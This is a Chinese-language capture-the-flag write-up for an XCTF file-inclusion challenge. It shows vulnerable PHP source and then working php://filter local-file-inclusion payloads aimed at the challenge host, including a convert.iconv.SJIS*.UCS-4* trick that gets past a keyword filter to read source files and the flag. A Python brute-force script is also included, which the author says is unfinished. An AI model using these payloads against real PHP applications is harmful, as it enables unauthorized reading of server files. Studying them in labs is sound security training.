XCTF - file_include
题目编号:GFSJ1060
知识点
本题思路比较简单,但是其中过滤了一些关键字比较麻烦,最重要的知识点就是convert.iconv.* 绕过
。
题目
源码分析
<?php
highlight_file(__FILE__);
include("./check.php");
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename);
}
?>
源码相对比较简单,典型的文件包含,直接运用文件包含的相关payload攻击即可,直接运用php://filter
读取源码,发现竟然做了waf。
逐个分析关键词,发送如下两个payload
http://61.147.171.105:64434/?filename=php://fil1ter/con1vert.ba1se64-e1ncode/resource=index.php
http://61.147.171.105:64434/?filename=php://filter/convert.base64-e1ncode/resource=index.php
第一个payload,提示不见了,第二个payload依然有提示,说明base64-encode
关键词被过滤;直接在网上搜文件包含绕过base64-encode
,最终找到了convert.iconv.* 绕过
.
convert.iconv.* 绕过
这个过滤器需要php支持iconv
,而iconv是默认编译的。使用convert.iconv.*
过滤器等同于用iconv()
函数处理所有的流数据。
iconv — 字符串按要求的字符编码来转换
convery.iconv.*的使用有两种方法:
- convert.iconv..
- convert.iconv./
和就是编码方式,有如下几种(以下不全):
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*
ISO-2022-JP
ISO-2022-JP-MS
CP932
CP51932
BASE64
具体可参考官方手册https://www.php.net/manual/en/mbstring.supported-encodings.php
本题中骂我们逐个进行尝试,最终尝试http://61.147.171.105:64434/?filename=php://filter//convert.iconv.SJIS*.UCS-4*/resource=index.php
可以进行绕过。
其实在这里可以进行爆破,写了个脚本没成功,这里也附上吧,抽空再进行完善
import requests
list1= []
with open('zifu.txt','r+') as f:
a=f.readlines()
for i in a:
i = i.replace("\n","")
list1.append(i)
list2 = []
for i in list1:
str = 'php://filter/convert.{}/resource=index.php'.format(i)
list2.append(str)
for i in list2:
url = 'http://61.147.171.105:64434/?filename='+i
# for i in
try:
resp = requests.get(url,timeout=3)
except:
pass
通过读取index.php和check.php,发现没有提示文字。
但是在check.php中,发现了呗过滤的关键词,大胆猜想可能在flag.php中,直接读取flag.php。获取到flag。
其他关于文件包含的文章可以参考这篇文章文件包含漏洞总结都在这里了